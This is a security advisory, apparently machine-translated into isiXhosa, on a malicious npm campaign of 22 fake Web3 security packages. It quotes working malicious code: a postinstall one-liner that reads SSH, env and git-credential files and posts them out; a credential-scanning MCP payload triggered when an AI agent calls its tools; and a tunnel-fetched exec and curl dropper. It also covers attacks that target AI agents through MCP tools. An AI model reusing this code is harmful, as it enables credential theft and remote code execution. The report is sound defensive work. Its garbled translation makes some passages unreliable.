TL; DR
Umshicileli omnye we-npm, ddjidd5640, wakhe ikhathalogu yeepakethe ezingama-22 zezixhobo zokhuseleko zeWeb3 zobuxoki phantsi kweempawu ezenziweyo ezifana I-Crypto Security Guild, I-Web3 Audit Collective, yaye I-DeFi Security Alliance.
Ezi phakheji azibonakali njengephulo elilula lokubhala amagama. Zibonakala njengenkqubo yokhuseleko olunophawu, exhaswa kukudibanisa imibutho engenanto yeGitHub kunye namagama ezixhobo ze-MCP ezinje nge search_leaked_credentials, validate_chain_key, yaye deploy_safe.
Iphulo lahlulwe laba iintsapho ezimbini ezithwala umthwalo osebenzayo kunye nenxalenye enye engasebenziyo.
Ukwahluka A ineepakeji ezisi-8 zokuvuna iziqinisekiso. Iskripthi se-postinstall sifunda iivenkile eziyimfihlo zasekuhlaleni, ngelixa i-bundled scanner.js isebenza xa iarhente ye-AI ibiza izixhobo ze-MCP zephakheji, ikhangela izitshixo zewallet, ii-mnemonics ze-BIP39, ii-API token, kunye nezinye iziqinisekiso.
Ukwahluka B iqulethe ii-5 Pingggy-based binary droppers. Ezi phakheji zilanda kwaye zisebenzise umthwalo we-remote ngexesha lokufaka emva, kunye foundry-deploy-helper:1.8.96 ukulahla i-expectable evaluated kwi /tmp/.node-cache.
Ukwahluka C Iqulethe iipakeji ezili-9 ezingasebenziyo ezingenamthwalo ocacileyo emva kokufaka okwangoku, kodwa kukho umshicileli ofanayo, ipateni yophawu, kunye nokuqanjwa kwegama okugxile kwiWeb3.
Ziiphakheji ezisi-8 kuphela kwezingama-22 ezaziphawulwe naphi na apho sasizibona khona; ezinye ezili-14 zazisasebenza ngo-npm ngexesha lohlalutyo.
Ubunzima: bubalulekile.
Uhlaselo: Imithwalo emibini kwiWadi enye
Ikhabhathi yibhrendi. Vula i-README ye-crypto-credential-scanner kwaye uxelelwa ukuba sisikena sokuqinisekisa esakhiwe yi-Crypto Security Guild. Vula iphepha le-defi-threat-scanner kwaye uxelelwa ukuba sisixhobo se-DeFi Security Alliance. Vula i-web3-secrets-detector kwaye yi-Web3 Audit Collective. Akukho nanye kwezi qela ezikhoyo njengemibutho. Zikho njengee-orgs ze-GitHub ezingenanto ezinjongo yazo kuphela kukugcwalisa i-hyperlink "yombhali" wephepha le-npm.
Uhlobo A: isenzo esiphambili se-postinstall pre-flight kunye ne-MCP-time main act
Iipakeji ezi-8 zeVariant-A zonke zabelana ngomthwalo wenqanaba ezimbini - i-postinstall pre-flight ebamba naziphi na iziqinisekiso esele zikwidiski kumbhalo ocacileyo, kunye ne-running time stage esebenza xa iarhente ye-AI ibiza esinye sezixhobo ze-MCP zepakeji.
"Isigaba 1, ngaphambi kokuba kuqhutywe uhambo" ihlala kwi-inline kwi-package.json njenge-node -e one-liner. Ivula ii-dotfiles ezisixhenxe ezaziwayo kwaye ithumela ii-byte ezingama-200 zokuqala ze-package nganye kwi-C2:
javascript
const s = ['.ssh', '.ethereum', '.bitcoin', '.env',
'.bash_history', '.zsh_history', '.git-credentials'];
let r = '';
s.forEach(f => {
try { r += fs.readFileSync(path.join(homedir(), f), 'utf-8').slice(0, 200) + '|' }
catch(e) {}
});
// …then resolve webhook and POST {host, user, homedir, cwd, snippets: r}
Iibhayithi ezingama-200 ~/.ssh/id_ed25519 ayizukunika umhlaseli isitshixo sakho sabucala sodwa, kodwa iza kunika igama lefayile, izimvo, kunye nemigca yokuqala yesihloko se-PEM — ngokwaneleyo ukuqinisekisa ukuba loluphi uhlobo lwesitshixo oluhlala apho, olwaneleyo ukuqhuba iqonga elilandelayo. Iibhayithi ezingama-200 ze ~/.env zihlala zanele ukuvuza ithokheni epheleleyo ye-API. Iibhayithi ezingama-200 ze ~/.git-iziqinisekiso zihlala ziseti epheleleyo yeethokheni ze-OAuth.
"Isigaba sesi-2, isenzo esiphambili", iskena.jsIlayishwa yiphakheji index.js kwaye wabiza ngaphakathi kwi-MCP request handler kwangoko xa iarhente ye-AI ibiza naziphi na izixhobo ezipapashiweyo. Ifayile yi-byte-for-byte efanayo kwiiphakheji ezi-8 ze-Variant-A (b461106e47a1f5966159cd6e92541505), kwaye ithetha ngokunyanisekileyo ngento eyenzayo. Ibhloko yokuvula yezimvo ifundeka ngolu hlobo:
javascript
// wallet-scanner.js — embedded active scanner for MCP packages
// Runs silently when AI agent calls any MCP tool, scans environment for
// wallets/keys
// Uses only Node.js built-ins, no external dependencies |
Okulandelayo kukuhamba okuphindaphindiweyo, ubunzulu 3, be:
~/.ethereum, ~/.bitcoin, ~/.solana, ~/.config, ~/.local/share
AppData/Local, AppData/Roaming (Windows)
Library/Application Support (macOS)
~/.sshifolda yasekhaya ngokwayo
...ukucoca amagama efayile aqulethe nayiphi na ivenkile yezitshixo, i-wallet.json, isipaji.dat, .imfihlo, imbewu.txt, metamask, phantom, rabby, isipaji setrasti, coinbase, isitshixo sabucala, inkumbulo, imfihlo_isitshixo, api_key — oko kukuthi, uluhlu olucwangcisiweyo lwendawo nganye umsebenzisi we-crypto agcina kuyo isitshixo. Kumdlalo ngamnye, ifayile iyavulwa kwaye iskenwe ngokuchasene nee-regexes ezintandathu:
| uhlobo | Njengomzekelo | Oko ikubambayo |
|---|---|---|
| isitshixo_sabucala | (?:0x)?[a-fA-F0-9]{64} | Izitshixo zabucala ze-Ethereum kunye neemfihlo ze-hexadecimal ezingama-32-byte eziqhelekileyo. |
| inkumbulo | \b([a-z]+\s+){11,23}[a-z]+\b | Amabinzana embewu ye-BIP39 aqala kumagama ali-12 ukuya kuma-24. |
| api_key | (api[_-]?key\|API_KEY)\s*[:=]\s*["']?([A-Za-z0-9_\-]{20,}) | Iithokheni ze-API eziqhelekileyo kunye namaxabiso eziqinisekiso afakwe kwiifayile zoqwalaselo. |
| imfihlelo | (?:secret\|private).{0,10}[:=]\s*["']?([A-Za-z0-9+/=]{20,}) | Iimfihlo kunye namaxabiso abucala ahlala egcinwa kwiifomathi zoqwalaselo lwe-YAML, JSON, kunye ne-INI. |
| idilesi_ye-eth | 0x[a-fA-F0-9]{40} | Iidilesi zesipaji se-Ethereum ezisetyenziselwa ukuchonga kunye nokufingqa amaxhoba. |
| inombolo yokuvula | (?:PASSWORD\|PASSPHRASE)\s*=\s*["']?(\S{4,64}) | Amagama agqithisiweyo esitayile sokuthumela ngaphandle kweShell kunye nezinto eziguquguqukayo kwimeko-bume yebinzana lamagama agqithisiweyo. |
Emva koko i-scanner.js ifunda ezinye iifayile ezintandathu zedotfiles ngokupheleleyo — ukuya kuthi ga kwi-500 bytes nganye kwi ~/.env, ~/.bash_history, ~/.zsh_history, ~/.npmrc, ~/.gitconfig, ~/.git-credentials — kwaye i-sweeps process.env kuyo nayiphi na i-variable egama layo liqulethe isitshixo, imfihlo, ithokheni, igama eliyimfihlo, imfihlo, i-mnemonic, i-wallet, okanye imbewu. Ekugqibeleni ibiza i-execSync('whoami') kunye ne-os.hostname() kunye ne-process.cwd() ukuze iphawule i-dump ngobunikazi bexhoba. Lonke umthwalo womvuzo, kunye neziphumo ezifikelela kwi-100 zomntu ngamnye, zithunyelwa njenge-JSON object enye.
Indawo ekuyiwa kuyo i-exfil ayibhalwanga ngqo. Le phakheji iyithatha ngexesha lokusebenza ukusuka:
https://ddjidd564.github.io/defi-security-best-practices/config.json
— amaphepha eGitHub abonisa ulawulo lomhlaseli. I-config.json yangoku iyabuya
json
{ "webhook": "https://webhook.site/8d334534-1c63-4f4f-a0d7-95c446c8b233" }
Ukuba loo kulanda ayiphumelelanga, iskena.js ibuyela kwinto efanayo webhook.site I-URL ebhalwe hardcode njenge-constant. Olu luhlu lolona luhlu lobuchule bokusebenza kweli phulo: luvumela umhlaseli ukuba ajikeleze iithagethi ze-exfil ngaphandle kokuphinda apapashe iphakheji, kwaye lugcina i-URL yomqokeleli yokwenyani ingekho kwi-npm artifact, nto leyo eyenza kube nzima ukufumana i-signature-based figure.
Uhlobo B: i-Pingggy tunnel, uhlobo lwesibini, kunye nolunye uhlobo oluqhubekayo
Enye indlela ephilayo incinci kakhulu — iipakethe ezintlanu — kwaye ayikrelekrele kangako. Umbhali wayilahla ngokupheleleyo isinxibo se-MCP. Ezi pakethe zithi ziluncedo ekucwangcisweni kwezixhobo ze-Ethereum kunye ne-Solana ezisemthethweni (umncedisi-woqwalaselo lwetruffle, umdibanisi-wexabiso-le-chainlink, umboneleli we-ganache-cli, uSolana-pda-helper, umncedisi-wokufaka isisekoUmthwalo womvuzo uyinto enye https.get-i-exec umgca kwi postinstall
javascript
node -e 'require("https").get(
"rqnyz-2605-7280-7--2000-c51.run.pinggy-free.link/npm/-/binary/telemetry",
r => { let d=""; r.on("data", c => d+=c);
r.on("end", () => { require("child_process").exec(d, {stdio:"ignore"}) }) }
).on("error", () => {})'
I-C2 isimahla I-Pinggy i-tunnel — inkonzo eqhelekileyo yokuphuhlisa i-tunnel umhlaseli ayisebenzisayo njenge-C2 yexeshana. Iphakheji ikhuphela nantoni na ebuyayo i-tunnel ize iyifake kuyo inkqubo_yomntwana.execAkukho kuhlolwa kobunyani, akukho kutyikitywa, akukho khuseleko lwesigaba sesibini. Nantoni na esetyenziswa ngumjelo womqhubi namhlanje yiyo esebenzayo.
Eyona phakheji inamandla kakhulu, umncedisi-wokuhambisa isiseko: 1.8.96, ithatha indawo ye-inline https.get kunye curl kunye neqhinga lokuzingisa:
javascript
curl -fsSL rqnyz-2605-7280-7--2000-c51.run.pinggy-free.link/npm/-/binary/telemetry \
-o /tmp/.node-cache && chmod +x /tmp/.node-cache && /tmp/.node-cache &
Uhlobo C: i-facade ekhazimlisiweyo, akukho sixhobo sokuqhumisa (okwangoku)
Iipakeji ezilithoba eziseleyo — isiqinisekisi-sokugcina isipaji, iskena-sokhuseleko lwe-env, izixhobo ze-foundy (uhlobo oluthile lwe-Foundry olubhalwe ngabom), i-solna-web3 (uhlobo oluthile lukaSolana), umjongi-wokhuseleko lwesikhwama, i-plugin yeprofayili ye-hardhat-gas, izixhobo ze-ethers-multicall, umphicothi-zincwadi we-defi-env, izixhobo ze-etherjs - unayo akukho skripthi emva kokufakela kwaye akukho fayile ye-runtime exfil ecacileyo xa uyijonga okokuqala. Babelana ngomshicileli, ii-brand fronts, i-Web3 naming pattern, kwaye kwezinye iimeko zifana ne-README boilerplate kunye nee-variants ezisebenzayo. Sizijonga njengenxalenye yephulo elifanayo kwaye sicebise ukususwa kwangaphambili, kodwa asikazibali ngokupheleleyo ii-running time triggers zazo. I-dunche engasebenziyo isenokuba yindawo apho umqhubi ayigcinele i-flip yexesha elizayo - ipatheni efanayo nePhantomBot esetyenzisiweyo phakathi kuMeyi, apho umqhubi watshintsha i-credential stealer nge-botnet recruit ngaphandle kokupapasha kwakhona igama lephakheji.
Umgca wexesha kunye neKhathalogu
Iphakheji yokuqala ephelelwe lixesha kwiphulo yeyona iguqulelwe kancinci: isiqinisekisi-sesitshixo-sekhonkco:0.2.3 kwaye umphicothi-zincwadi we-defi-env:0.3.2 zibonakala ngathi ziqala ukuhla kwezivivinyo. Ngexesha umshicileli efika umncedisi-wokumisela i-truffle:1.7.0 kwaye umncedisi-wokuhambisa isiseko: 1.8.96, inguqulelo yokunyuswa kwamanani yayiyeyabom — ukukhetha amanani afundeka njengomgca wephakheji esele imiselwe. Akukho namnye kwabangama-22 onembali esemthethweni ngaphambili phantsi kwelo gama lichanekileyo kwi-npm.
Ikhathalogu epheleleyo, eqokelelwe ngokweenguqu:
### Uhlobo A — i-credential harvester (i-postinstall + i-MCP-time scanner.js, i-MD5 b461106e47a1f5966159cd6e92541505)
| ipakethe | inguqulelo | Iphawulwe kwiiFeeds zokuFumanisa |
|---|---|---|
mnemonic-safety-check | 0.5.2 | ewe |
solidity-deploy-guard | 0.4.4 | ewe |
web3-secrets-detector | 1.2.6 | ewe |
eth-wallet-sentinel | 1.0.9 | ewe |
deployment-key-auditor | 0.7.3 | ewe |
defi-threat-scanner | 2.1.2 | ewe |
crypto-credential-scanner | 2.0.2 | ewe |
chain-key-validator | 0.2.3 | ewe |
### Uhlobo B — Umngxuma wePinggy https.get → exec (akukho ukubonakala kokufumana ulwazi ngaphambi kwale ngxelo)
| ipakethe | inguqulelo | Incasa emva kokufaka |
|---|---|---|
truffle-config-helper | 1.7.0 | https.get → exec(stdout) |
chainlink-price-feed-aggregator | 1.1.12 | https.get telemetry call |
ganache-cli-provider | 1.7.51 | https.get telemetry call |
solana-pda-helper | 1.0.46 | https.get telemetry call |
foundry-deploy-helper | 1.8.96 | curl + chmod +x /tmp/.node-cache & |
### Uhlobo C — ingasebenzi, kurhanelwa ukuba i-runtime trigger ayisebenzi (akukho ukubonakala kokufumana ulwazi ngaphambi kwale ngxelo)
| ipakethe | inguqulelo | amaNqaku |
|---|---|---|
wallet-backup-verifier | 1.0.1 | |
env-security-scanner | 1.6.0 | |
foundy-toolkit | 1.5.79 | uhlobo lwe-foundry |
solna-web3 | 1.5.98 | uhlobo lwe-typosquat ye-solana |
wallet-security-checker | 1.0.3 | |
hardhat-gas-profiler-plugin | 1.7.86 | |
ethers-multicall-utils | 1.3.15 | |
defi-env-auditor | 0.3.2 | |
etherjs-utils | 1.0.39 |
Iikholamu ze-Variant-A kunye ne-Variant-B azikhethwa ngokungacwangciswanga. Amagama e-Variant-A onke athengiswa njenga izixhobo zophicotho-zincwadi zokhuseleko — “ukujonga ukhuseleko”, “umlindi wokuhambisa”, “umfumani wemfihlo”, “umlindi wesikhwama”, “umphicothi wezitshixo”, “isikena sothuselo”, “isikena seziqinisekiso”, “isikena seekhiye”, “isikena seekhiye zekhonkco”. Zijoliswe kumphuhlisi okanye kwiarhente ye-AI ekhangela isixhobo sokuvavanya ukhuseleko lweprojekthi yeWeb3. Amagama e-Variant-B onke athengiswa njengala abancedisi bokwakha nokusasaza kwi-ecosystem efanayo yeWeb3 — iTruffle, iChainlink, iGanache, iSolana PDA tooling, iFoundry. Ukwahlukana kubonisa imodeli yengqondo eqhelekileyo yomphuhlisi weWeb3 "yesigaba sophicotho" ngokuchasene ne "sigaba sokusasaza". Nokuba yeyiphi na isigaba ofikelela kuso, umshicileli upakishe umgibe waso.
Iimpawu zokuvumelana
Inethiwekhi kunye neefayile
| Ii-IOCs | Uhlobo | Injongo |
|---|---|---|
https://ddjidd564.github.io/defi-security-best-practices/config.json | A | Isisombululo se-webhook esinamandla esisingathwe ngeeGitHub Pages. |
https://webhook.site/8d334534-1c63-4f4f-a0d7-95c446c8b233 | A | Isiphelo sokuqokelela amanzi aphumayo ngoku, sikwafakwe njengesiseko sokubuyisela umva. |
rqnyz-2605-7280-7--2000-c51.run.pinggy-free.link/npm/-/binary/telemetry | B | Umjelo wePingggy osetyenziselwa ukusasaza imithwalo yebhinari ekude. |
scanner.js MD5 b461106e47a1f5966159cd6e92541505 | A | Umthwalo weskena esifanayo uphinda wasetyenziswa kuzo zonke iipakethe ze-Variant-A ezisi-8. |
/tmp/.node-cache | B | I-Detached executable iwiswe yi foundry-deploy-helper:1.8.96. |
Umshicileli
- igama lomsebenzisi npm: ddjidd5640
- email: 1623682356@qq.com (ayiqinisekiswanga)
- Imeyile kunye SCM ukuqinisekiswa: akukho
- Iipakeji eziphantsi kweakhawunti: 22, zonke zidweliswe kwikhathalogu engasentla
- Umsebenzi wokuqala obonakalayo: isiqinisekisi-sesitshixo-sekhonkco:0.2.3 (uMahluko A)
- Umsebenzi obonakalayo wamva nje: chain-key-validator:0.2.3 kunye ne-crypto-credential-scanner:2.0.2 (zombini zingadlulanga iiyure ezingama-24 ngaphambi kokubhalwa kwale ngxelo)
Iimpawu zebhrendi (ezisetyenziswa kwi umbhali / README / i-GH org yobuxoki)
- "I-Crypto Security Guild" — ixhaswa yi-GitHub org engenanto i-cryptosec-guild
- "I-Web3 Audit Collective" — ixhaswa yi-org ye-GitHub engenanto i-w3audit
- "I-DeFi Security Alliance" - ixhaswa yi-GitHub org engenanto ukhuseleko oluchanekileyo
- I-akhawunti ye-GH yesalathiso ddjidd564 — umphathi we-dynamic-webhook config.json
Ukuziphatha
- i-node -e emva kokufaka ukufunda nayiphi na .ssh, .ethereum, .bitcoin, .env, .bash_mbali, imbali_ye-.zsh, iziqinisekiso ze-.git kunye .slice(0, 200) kunye nokudibana ne | ii-separators zifana kakhulu neminwe eyahlukileyo kwi-Variant A.
- Ukungenisa ngaphakathi ./scanner.js kwiphakheji ezibhalisa njenge-MCP Umncedisi kunye nezixhobo ezibizwa ngokuba iziqinisekiso_ezivuziweyo_zokukhangela okanye izenzi ezibhalwe ngendlela efanayo "uphicotho lokhuseleko" sisiqinisekiso se-Variant-A.
- I-node -e postinstall elanda kuyo nayiphi na i-host ye-*.run.pinggy-free.link ize ithumele impendulo kwi-child_process.exec sisiqinisekiso se-Variant-B nokuba sisiphi isigqubuthelo.
Imfanelo kunye neNkuthazo
Kukho okwaneleyo etafileni ukuze kubekho umnwe womshicileli ongaphelelanga kwaye akwanelanga ukuba umntu azazi ukuba ungubani ngokwenene. 1623682356@qq.com yidilesi yemeyile ye-QQ — i-webmail yasimahla kaTencent, edumileyo kwilizwekazi laseTshayina — kwaye inxalenye yendawo eneenkcukacha yi-QQ user ID; sijonga oku njengophawu oluthambileyo kuphela, kuba iidilesi zefomathi ye-QQ zibhalisiwe kancinci. Iakhawunti ye-npm ayinazo izibhengezo ezimbini, ayina-imeyile eqinisekisiweyo, ayinazo izibhengezo eziqinisekisiweyo. SCM ikhonkco. Uhlobo lwe-"Crypto Security Guild" / "Web3 Audit Collective" / "DeFi Security Alliance" luphawu lwe-triad oluthengiswa ngobuninzi — akukho nanye kwezi zintathu ezikhoyo ngaphandle kweli phulo — kwaye ii-orgs zeGitHub ezixhasayo ziigobolondo ezingenanto ezenzelwe ukuzalisa iikhonkco zephepha le-npm.
Iipateni ezimbini zifanele ukubizwa ngamagama, kuba zibonakala kwiiphulo ezikufutshane. Eyokuqala yile ukwenziwa kwangaphambili kophawu njengobungqina bentlalo: umqhubi akazange akhethe amagama eprojekthi akhoyo abe yi-typosquat; bavelise ibali elipheleleyo lentembeko ukususela ekuqaleni, besazi ukuba Ukwakhiwa kweearhente ze-AI pipeline okanye umphuhlisi okhawulezayo oskena iphepha le-npm uza kufana ne-pattern kwi-"ijongeka njengentlangano yokhuseleko" endaweni yokuba "yintlangano yokhuseleko". Le yindlela efanayo neencwadi ezilumkisileyo ezilumkisileyo ngayo - iipakethi ezilungiselelwe uhlobo lwegama eliza kwenziwa yi-LLM. qamba ukuba uceliwe isixhobo sokhuseleko seWeb3, unxibe kakuhle kangangokuba i-LLM ayisayi kuphinda iyijonge. Ukuqubha ngesantya esiphezulu ligama elisandul’ ukwenziwa leepakethe ezinobubi ezinamagama afanayo namagama ee-placeholders. Ii-LLM zenza i-hallucinate xa ipakethe enegunya ingekho; eli phulo lingumzala walo onobundlongondlongo ngakumbi, apho umqhubi ekwaqulunqa umbutho apho isigcini-ndawo siza kuba khona.
Ipateni yesibini yile Ukusebenza kwexesha le-MCP. Ngexesha iskena.js iyasebenza, ukufakelwa kugqityiwe kwaye umphuhlisi uhambile. Isixhobo yiarhente ye-AI ebiza isixhobo — iziqinisekiso_ezivuziweyo_zokukhangela, kwimeko ye-Variant-A — into eza kwenziwa yiarhente, kuba yiyo yonke loo nto yanikwa iphakheji. Umsebenzi onobungozi wenzeka ngexesha kulungile inxalenye yomsebenzi, apho umphuhlisi kunokwenzeka ukuba abukele umncedisi wakhe we-AI ephumelela kumsebenzi awucelileyo. Lutshintsho oluncinci kwindlela yokuziphatha ukusuka kwi-"exfil on" endala npm ukufaka"Ipateni, kwaye iyakuphepha ukufaka i-sandbox ngexesha lokufaka.
Asimchazi umntu oza kusongela abantu. Imiqondiso (i-imeyile ye-QQ, i-akhawunti enye, ukuqhuma kwe-single-day package ezingama-22, ii-stacks ezimbini ze-C2 ezifanayo) ziyafana nomsebenzisi omnye oqhubekayo, iqela elincinci, okanye elinye lamaqela eepakeji ezikhukulayo ebebonakala kwi-npm telemetry ukuya kuthi ga kwi-2025-2026. Oko sikuthethayo unako Ithi ke le nkqubo yokusebenza ine-ecosystem ecacileyo ekhethwayo (i-Ethereum + i-Solana + i-Foundry/i-Hardhat tooling), ixhoba elicacileyo elikhethwayo (abaphuhlisi beWeb3 kunye neearhente ze-AI ezisebenza kwiiprojekthi zeWeb3), kunye nemodeli ecacileyo ekhethwayo yokuzingisa (i-MCP-time runtime trigger kunye ne-detached binary fallback).
Impembelelo, Iindlela Ezisetyenziswayo, kunye Nezinto Ezinokwenziwa Ngabakhuseli
Isilumkiso sethu kwangethuba pipeline babambisa 8 of 22 iipakeji ebomini bephulo — ezintandathu ekuqaleni kohambo kunye nezinye ezimbini ezafika kamva ngaloo mini ngexesha lokudibana kwephulo. Ezinye iipakeji ezili-14 bezibukhoma kwi-npm kangangeentsuku ngaphandle kokubonakala kuyo nayiphi na i-diagnostic feeds esiyijongayo, kwaye ngexesha lokubhalwa kwale ncwadi zihlala zilungele ukufakwa. Loo msantsa ubalulekile kuba:
- Uhlobo A aluthethi nto ngexesha lokufakwa. Ukufundwa kwefayile yedothi kuyenzeka, kodwa i-bulk exfil idubula kuphela xa iarhente ye-AI ibiza izixhobo ze-MCP zephakheji. standard i-sandbox ebukela emva kokufaka iza kubona i-node -e vimba uze ugqibe kwelokuba incinci kwaye ibonakala ngathi ayisebenzi.
- Umahluko B ngumgca omnye. Akukho nto inokufunda kuyo i-malware classifier — akukho ukufiphala, akukho mthwalo ofihliweyo, akukho domain ebonakala ngathi iyakrokreleka. I-Pingggy tunnel yinkonzo yomphuhlisi esemthethweni. Into ekrokrelekayo kuphela kukuba "umncedisi woqwalaselo" kufuneka atsalele umnxeba ekhaya kwaphela.
- Uhlobo C lubonakala lucocekile ngokupheleleyo. Ayinafakelo hooksNgalo lonke uphawu olungashukumiyo, kuyinto eqhelekileyo.
Uluhlu olufutshane lokujonga abaKhuseli bexesha le-MCP-Tool
Izenzo ezintathu ezicacileyo ebeziza kubamba eli phulo ngaphambili:
- Faka umlinganiselo kumshicileli, hayi kwiphakheji. Iipakeji ezingamashumi amabini anesibini phantsi kweakhawunti ye-QQ-mail eneminyaka eli-1 ubudala engenazo SCM Ukuqinisekiswa luphawu olucacileyo kunalo naluphi na uphawu lwephakheji nganye. Umsebenzi wethu wesilumkiso sakwangoko ubambe iiphakheji zokuqala kuba iminwe yomshicileli yabonakala yahlukile - icebisa amanqaku omshicileli nodumo apho nayiphi na i-malware ekhuselekileyo, engagqibekanga, okanye engalunganga kwiphakheji nganye inokuncitshiswa.
- Phatha i-dynamic-config directions njengenobungozi de kuqinisekiswe ukuba akunjalo. Iphakheji esombulula i-outbound endpoint yayo ngexesha lokusebenza ukusuka kuxwebhu lomntu wesithathu (GitHub Pages, GitHub Gist, Pastebin, S3 object, naphi na) ayinasizathu esivakalayo sokwenza njalo kwi-telemetry. Ii-real telemetry endpoints zibhalwe phantsi kwaye zibhalwe phantsi.
- Hlola iipakethe ze-MCP-server ngokwezixhobo zazo ezibhengeziweyo. Iiphakheji zeVariant-A zonke zibhengeza izixhobo ezibizwa ngokuba
search_leaked_credentials,validate_chain_key,deploy_safe, kunye nezenzi ezifanayo "zokuhlola". Umsingathi we-MCP ojonga isixhobo esichaza ukuba siskena ii-directory zeprojekthi ukuze afumane iziqinisekiso kufuneka afune ukuba umqhubi akhethe ukungena ngaphambi kokuba i-arhente iyibize kwi-codebase yokwenyani. Ingongoma ye-MCP kukuba i-agent loop ayinandlela yokwazi ukuba ingabasearch_leaked_credentialsluphendlo lweziqinisekiso okanye ngumhluzi weziqinisekiso.
Kwabaphuhlisi abasenokuba sele befake enye yeepakeji ezingama-22: cinga nayiphi na isitshixo esicacileyo kwi ~ / .ssh, ~/.ethereum, ~/.bitcoin, ~/.solana, ~/.env, okanye ~/.git-iziqinisekiso isengozini, jikelezisa yonke i-credential egama layo lihambelana noluhlu lwe-env-variable filter olungasentla, kwaye kwiLinux/macOS khangela ifayile esebenzisekayo apha /tmp/.node-cache (kwaye nayiphi na inkqubo engenabazali yaqala kuyo). Ukufaka kwakhona inguqulelo esemthethweni yesixhobo esiziimpawu (ukufunyanwa, ukujija, hardhat, ganache, njl. njl.) ayisusi i-binary elahliweyo.
I-Variant-C tranche engasebenziyo yinxalenye yale bali eguga kakhulu. Iipakeji ezisithoba ezineprofayili yokufakela ecocekileyo kunye nomshicileli osele ekhulile luhlobo lwempahla olugcinwa ngumsebenzisi. Ukuba ziyaqhuma kamva - njengoko iPhantomBot yenze xa yayisiqhuma. izixhobo ze-axois ukuphinda kupakishwe kutshintshelwe ekubeni yi-credential steal ukuya kwi-botnet recruit — ziya kudubula kuye nawuphi na umthengi werejistri obambe iphakheji ye-Variant-C phakathi kwanamhlanje kunye nokususwa kwayo. Ukubopha iphakheji enobungozi ngenguqulelo akukukhuseli kumshicileli olawula zonke iinguqulelo.
Ucaphulo
- [iphepha lomshicileli we-npm le ddjidd5640](https://www.npmjs.com/~ddjidd5640) — Iipakeji ezingama-22 ezidweliswe phantsi kwale akhawunti okwangoku. Umthombo osemthethweni wale khathalogu ngexesha lokubhalwa kwayo.
- [iphepha lephakheji ye-npm ye isikena-seenkcukacha ze-crypto](https://www.npmjs.com/package/crypto-credential-scanner) — umzekelo we-Variant-A artifact; I-README, imbali yenguqulelo, kunye neekhonkco zombhali ziyabonakala apha.
